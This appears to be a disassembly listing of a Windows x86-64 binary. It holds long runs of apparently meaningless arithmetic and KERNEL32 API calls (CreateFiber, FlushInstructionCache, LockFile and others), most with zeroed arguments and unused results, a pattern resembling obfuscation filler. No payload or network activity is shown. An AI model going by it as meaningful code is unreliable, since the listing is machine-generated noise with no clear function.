mov eax, dword [rsp + 0x7ed4]
mov ecx, dword [rsp + 0xaa28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa564], eax
mov eax, dword [rsp + 0xa85c]
mov dword [0x14028ec70], eax
mov eax, dword [rsp + 0xa5e4]
mov ecx, dword [rsp + 0xa4dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8a8], eax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov dword [rsp + 0xaacc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xa770]
mov ecx, dword [rsp + 0xa6c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa604], eax
movzx eax, byte [rsp + 0x6d9]
mov byte [rsp + 0x701], al
movzx eax, word [rsp + 0x2c44]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e08], ax
mov rax, qword [rsp + 0x14738]
mov eax, dword [rax]
mov ecx, dword [0x1402827dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14348]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9d8], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x82a8], eax
mov rax, qword [rsp + 0x14820]
mov ecx, dword [0x1402826ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7e78], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa64]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ec88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
mov byte [rsp + 0x702], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c4c]
sub eax, ecx
mov word [rsp + 0x2c3c], ax
movsx eax, word [rsp + 0x2d88]
mov rcx, qword [rsp + 0x14360]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d98], ax
lea rax, [rsp + 0x672]
mov qword [rsp + 0x14c68], rax
mov eax, dword [rsp + 0xa9a8]
mov ecx, dword [0x1402827b8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa59c], eax
mov rax, qword [rsp + 0x148f8]
mov eax, dword [rax]
mov dword [rsp + 0xaad0], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2d1c], ax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x224], al
mov rax, qword [rsp + 0x14ba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa3c]
and ecx, eax
mov eax, ecx
mov dword [0x140282804], eax
mov rax, qword [rsp + 0x143a8]
mov rcx, qword [0x14028ed40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d08], eax
mov rax, qword [rsp + 0x14c30]
mov rcx, qword [rsp + 0x144d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa974], eax
mov eax, dword [rsp + 0xa92c]
mov dword [rsp + 0xaad4], eax
mov rax, qword [0x14028edf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d5]
add eax, ecx
mov byte [rsp + 0x4d6], al
movzx eax, word [rsp + 0x2e08]
mov word [rsp + 0x2e74], ax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [rsp + 0xa3c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa97c], eax
mov dword [rsp + 0x20], 0x3f47
mov r9d, 0x3cdc
mov r8d, 0x2a62
mov edx, 0x199e
mov rcx, qword [rsp + 0x146b0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa748], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov ecx, dword [0x1402826b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c88], eax
mov rax, qword [rsp + 0x14440]
mov ecx, dword [rsp + 0xa490]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7fcc], eax
mov eax, dword [0x1402826ac]
mov ecx, dword [rsp + 0xa6a8]
add ecx, eax
mov eax, ecx
mov dword [0x140282808], eax
mov eax, dword [rsp + 0x89e4]
mov ecx, dword [rsp + 0xa53c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa714], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2bf4]
mov word [rsp + 0x2e78], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
sub eax, ecx
mov byte [rsp + 0x28d], al
mov rcx, qword [rsp + 0x14a28]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e20]
xor eax, ecx
mov rcx, qword [rsp + 0x14b18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6f9]
mov byte [rsp + 0x703], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa610], eax
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa33c]
shl eax, cl
mov dword [rsp + 0xa370], eax
mov eax, dword [rsp + 0xa494]
mov ecx, dword [rsp + 0x8c08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8344], eax
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x143e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x159c], ax
mov rcx, qword [rsp + 0x14a28]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xaad8], eax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c6]
and eax, ecx
mov byte [0x14028ee00], al
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9ec], eax
mov rax, qword [0x14028ec88]
mov eax, dword [rax]
mov dword [rsp + 0xaadc], eax
mov rax, qword [rsp + 0x144d8]
mov ecx, dword [rsp + 0x8c40]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa338], eax
mov eax, dword [rsp + 0x99bc]
mov dword [rsp + 0xaae0], eax
movzx eax, word [rsp + 0x1e20]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d5c], ax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov byte [rsp + 0x704], al
mov rax, qword [rsp + 0x14738]
mov rcx, qword [rsp + 0x14a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14178]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147e8]
mov eax, dword [rax]
mov ecx, dword [0x14028ed7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa70c], eax
movsx eax, word [rsp + 0x1d44]
movsx ecx, word [rsp + 0x2be8]
add eax, ecx
mov word [0x1402827d0], ax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64c]
and eax, ecx
mov byte [rsp + 0x3f8], al
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d8c]
sub eax, ecx
mov word [rsp + 0x2b94], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [rsp + 0x705], al
mov eax, dword [rsp + 0xa6b0]
mov rcx, qword [rsp + 0x14b10]
mov qword [rsp + 0x14c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c70]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa3a8], eax
mov rax, qword [rsp + 0x14ae0]
mov rcx, qword [rsp + 0x14248]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14510]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa528]
mov dword [rsp + 0xaae4], eax
mov eax, dword [rsp + 0x7ed0]
movzx ecx, al
mov eax, dword [rsp + 0x6f2c]
shl eax, cl
mov dword [rsp + 0xa6d4], eax
mov rax, qword [rsp + 0x14288]
mov ecx, dword [rsp + 0xa5c4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x86d8], eax
movzx eax, byte [rsp + 0x6bb]
movzx ecx, byte [rsp + 0x6ec]
sub eax, ecx
mov rcx, qword [rsp + 0x14278]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov word [0x14028ec6c], ax
mov rax, qword [rsp + 0x14b48]
mov ecx, dword [rsp + 0xa7ec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8b4], eax
mov eax, dword [rsp + 0xa6fc]
mov dword [rsp + 0xaae8], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa68c], eax
mov eax, dword [rsp + 0x7ae8]
mov ecx, dword [rsp + 0xaac4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a4], eax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov dword [rsp + 0xaaec], eax
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c38]
add eax, ecx
mov word [rsp + 0x2e0c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [0x14028edf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x679]
add eax, ecx
mov byte [rsp + 0x6fd], al
movsx eax, word [rsp + 0x2cbc]
movsx ecx, word [rsp + 0x2dc4]
sub eax, ecx
mov word [rsp + 0x155c], ax
movsx eax, byte [rsp + 0x64f]
movsx ecx, byte [0x140281dca]
add eax, ecx
mov byte [rsp + 0x73], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x149d8]
mov rcx, qword [rsp + 0x14730]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282748], eax
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
mov dword [rsp + 0xaaf0], eax
movzx eax, word [rsp + 0x2d50]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14650]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6ab]
mov byte [rsp + 0x706], al
mov rax, qword [rsp + 0x14688]
mov ecx, dword [rsp + 0xa9e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x747c], eax
mov eax, dword [rsp + 0x8604]
mov rcx, qword [rsp + 0x14b30]
mov qword [rsp + 0x14c78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c78]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa540], eax
mov eax, dword [rsp + 0x7720]
movzx ecx, al
mov eax, dword [rsp + 0xa044]
shl eax, cl
mov dword [rsp + 0x6b44], eax
mov rax, qword [rsp + 0x141f8]
mov ecx, dword [0x140282710]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa398], eax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
mov byte [rsp + 0x707], al
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2680]
or eax, ecx
mov word [0x14028280c], ax
mov eax, dword [0x14028269c]
mov ecx, dword [rsp + 0xa690]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa73c], eax
mov rax, qword [rsp + 0x14c20]
mov ecx, dword [rsp + 0xaa04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa24], eax
mov eax, dword [rsp + 0x9f14]
mov dword [rsp + 0xaaf4], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa604]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa390], eax
mov rax, qword [rsp + 0x14738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x789c], eax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64a]
sub eax, ecx
mov byte [rsp + 0x658], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x145e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15e8], ax
movzx eax, word [rsp + 0x1c78]
mov word [rsp + 0x2e7c], ax
mov rax, qword [rsp + 0x145a8]
movzx eax, byte [rax]
movzx ecx, byte [0x140281e1a]
sub eax, ecx
mov byte [0x140281e4e], al
mov rax, qword [rsp + 0x14440]
mov ecx, dword [rsp + 0x8598]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa61c], eax
mov rax, qword [rsp + 0x14a58]
mov eax, dword [rax]
mov dword [rsp + 0xaaf8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d80], ax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x700]
add eax, ecx
mov byte [rsp + 0x491], al
mov rax, qword [rsp + 0x14970]
mov eax, dword [rax]
mov dword [rsp + 0xaafc], eax
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa628]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x820c], eax
mov eax, dword [rsp + 0x706c]
movzx ecx, al
mov eax, dword [rsp + 0xa570]
shl eax, cl
mov dword [rsp + 0x735c], eax
mov rax, qword [rsp + 0x148f8]
mov rcx, qword [0x14028ec98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa9c4], eax
lea rcx, [rsp + 0x247d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa5e8], eax
movzx eax, byte [rsp + 0x689]
mov rcx, qword [rsp + 0x14338]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14028ee08], al
movzx eax, word [rsp + 0x2ce4]
mov word [rsp + 0x2e80], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xab00], eax
mov rax, qword [0x14028ece0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8508]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaac], eax
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa500]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa0c], eax
mov rax, qword [rsp + 0x14298]
movzx eax, byte [rax]
mov byte [rsp + 0x708], al
mov rax, qword [rsp + 0x145e8]
movsx eax, word [rax]
movsx ecx, word [0x1402827d0]
sub eax, ecx
mov word [rsp + 0x2b5c], ax
movzx ecx, word [rsp + 0x2bdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c08], ax
movzx eax, word [rsp + 0x2c3c]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x220c], ax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e8]
and eax, ecx
mov byte [rsp + 0x633], al
mov rax, qword [rsp + 0x14560]
mov ecx, dword [rsp + 0xa90c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x85d0], eax
mov eax, dword [rsp + 0x8ca0]
mov ecx, dword [rsp + 0xa4fc]
sub ecx, eax
mov eax, ecx
mov dword [0x1402827c0], eax
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov dword [rsp + 0xab04], eax
mov rax, qword [rsp + 0x14730]
mov ecx, dword [rsp + 0x66e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa59c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rax, [rsp + 0xa5b8]
mov qword [rsp + 0x14c80], rax
mov rax, qword [rsp + 0x14900]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x149c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14278]
mov byte [rcx], al
movzx eax, word [rsp + 0x194c]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2098], ax
mov eax, dword [rsp + 0xa7dc]
mov dword [rsp + 0xab08], eax
mov eax, dword [rsp + 0xa63c]
mov ecx, dword [rsp + 0xaacc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa50], eax
mov eax, dword [rsp + 0xa340]
movzx ecx, al
mov eax, dword [rsp + 0xa774]
sar eax, cl
mov dword [rsp + 0x87e4], eax
mov eax, dword [rsp + 0x8aac]
mov dword [0x14028ec68], eax
movzx eax, word [rsp + 0x221c]
movzx ecx, word [rsp + 0x1c00]
shl eax, cl
mov word [rsp + 0x2e14], ax
lea rax, [rsp + 0x437]
mov qword [rsp + 0x14c88], rax
movsx eax, byte [rsp + 0x634]
movsx ecx, byte [rsp + 0x64e]
or eax, ecx
mov byte [rsp + 0x641], al
movsx eax, word [rsp + 0x2bbc]
imul eax, eax, 0x11c
mov word [rsp + 0x2d30], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x14a58]
mov eax, dword [rax]
mov dword [rsp + 0xab0c], eax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9644]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa770], eax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov word [rsp + 0x2e84], ax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x667]
sub eax, ecx
mov byte [rsp + 0x542], al
mov rax, qword [rsp + 0x142b8]
mov rcx, qword [rsp + 0x14be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028269c], eax
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa39c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14820]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa6a0]
mov ecx, dword [rsp + 0xa60c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x73b4], eax
mov rax, qword [rsp + 0x14248]
mov ecx, dword [0x140282780]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa2e4], eax
movzx eax, byte [rsp + 0x5d1]
mov byte [rsp + 0x709], al
movzx eax, word [rsp + 0x1c00]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2dd0], ax
mov rax, qword [0x14028ed40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa958], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov dword [rsp + 0xab10], eax
mov rax, qword [rsp + 0x14bd0]
mov ecx, dword [rsp + 0xa638]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab0c], eax
mov rax, qword [0x14028edd0]
mov ecx, dword [rsp + 0xa56c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282810], eax
mov eax, dword [rsp + 0x9ca4]
mov dword [rsp + 0xab14], eax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6ff]
or eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [0x14028eeb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c04]
shl eax, cl
mov word [rsp + 0x2bb4], ax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2de0]
sar eax, cl
mov word [rsp + 0x2dec], ax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov dword [rsp + 0xab18], eax
mov eax, dword [rsp + 0xa5f4]
mov ecx, dword [rsp + 0xa764]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa410], eax
movzx eax, byte [rsp + 0x687]
mov byte [rsp + 0x70a], al
movzx eax, word [0x1402827b4]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140282814], ax
lea rcx, [rsp + 0x22698]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x14b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa374], eax
mov rax, qword [rsp + 0x14b90]
mov ecx, dword [rsp + 0x9108]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9700], eax
mov eax, dword [0x14028ec94]
mov ecx, dword [rsp + 0xa5c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa824], eax
lea rax, [rsp + 0x2160]
mov qword [rsp + 0x14c90], rax
movzx eax, byte [rsp + 0x6aa]
movzx ecx, byte [rsp + 0x6e5]
and eax, ecx
mov byte [rsp + 0x6fd], al
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [0x14028ed40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa340], eax
lea rax, [rsp + 0xa3c0]
mov qword [rsp + 0x14c98], rax
mov rax, qword [rsp + 0x14b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d98]
sub eax, ecx
mov word [0x1402827fc], ax
movsx eax, byte [rsp + 0x289]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6e7], al
mov rax, qword [rsp + 0x143b8]
movzx eax, byte [rax]
mov byte [rsp + 0x70b], al
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148d0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1cf8], ax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [0x14028ed34]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9dc], eax
lea rax, [rsp + 0xa540]
mov qword [rsp + 0x14ca0], rax
mov eax, dword [rsp + 0xa410]
mov ecx, dword [rsp + 0x7bf8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa400], eax
lea rax, [rsp + 0xa640]
mov qword [rsp + 0x14ca8], rax
mov eax, dword [rsp + 0xa8dc]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x14cb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14cb0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8fc8], eax
movzx eax, word [rsp + 0x2cc8]
mov word [rsp + 0x2e88], ax
movzx eax, byte [rsp + 0x251]
mov byte [0x14028ec64], al
mov rax, qword [0x14028ee60]
mov ecx, dword [rsp + 0x7d7c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa638], eax
lea rcx, str.0041z
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e50], ax
lea rcx, [rsp + 0x21a68]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa924]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab04], eax
lea rax, [rsp + 0xa820]
mov qword [rsp + 0x14cb8], rax
mov rax, qword [rsp + 0x14b10]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b50]
mov dword [rcx], eax
lea rcx, [rsp + 0x248f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa65c], eax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14a00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2568], ax
mov rax, qword [0x14028eca8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6be]
add eax, ecx
mov byte [rsp + 0x678], al
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x35f], al
movzx eax, word [rsp + 0x2b54]
mov word [rsp + 0x2e8c], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xab1c], eax
mov rax, qword [0x14028ee10]
mov ecx, dword [rsp + 0xa694]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028eddc], eax
mov rax, qword [rsp + 0x14630]
mov ecx, dword [rsp + 0x8c08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa0c4], eax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov word [rsp + 0x2e90], ax
movzx eax, byte [0x14028ecf4]
movzx ecx, byte [rsp + 0x6e3]
sub eax, ecx
mov byte [rsp + 0x114], al
mov eax, dword [rsp + 0x87b0]
movzx ecx, al
mov eax, dword [rsp + 0xa9fc]
sar eax, cl
mov dword [rsp + 0x9ddc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [0x14028ecc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6c58]
shl eax, cl
mov dword [rsp + 0x8a84], eax
mov rax, qword [rsp + 0x147a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8288]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x76bc], eax
lea rax, [rsp + 0xa2a8]
mov qword [rsp + 0x14cc0], rax
movzx eax, byte [rsp + 0x65f]
mov rcx, qword [0x14028ed18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x172], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14410], rax
movzx eax, word [rsp + 0x2c50]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140282818], ax
mov rax, qword [rsp + 0x14a18]
mov rcx, qword [0x14028eda0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7c0], eax
mov eax, dword [rsp + 0x779c]
mov dword [rsp + 0xab20], eax
mov eax, dword [rsp + 0xa6a8]
mov ecx, dword [rsp + 0x9ddc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148f8]
mov dword [rcx], eax
lea rax, [rsp + 0xa8d0]
mov qword [rsp + 0x14cc8], rax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x146c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7700], eax
mov rax, qword [rsp + 0x14968]
movzx eax, byte [rax]
mov byte [rsp + 0x70c], al
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d78]
sub eax, ecx
mov word [rsp + 0x2c84], ax
movzx eax, word [rsp + 0x1cc0]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d74], ax
movzx eax, byte [rsp + 0x491]
movzx ecx, byte [rsp + 0x156]
add eax, ecx
mov byte [0x140281de2], al
mov rax, qword [rsp + 0x148d8]
mov rcx, qword [rsp + 0x141c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8de0], eax
mov rax, qword [rsp + 0x148d8]
mov ecx, dword [rsp + 0x6ad8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa61c], eax
movzx eax, word [rsp + 0x2e00]
mov word [rsp + 0x2e94], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx eax, byte [rsp + 0x5e9]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14888]
mov byte [rcx], al
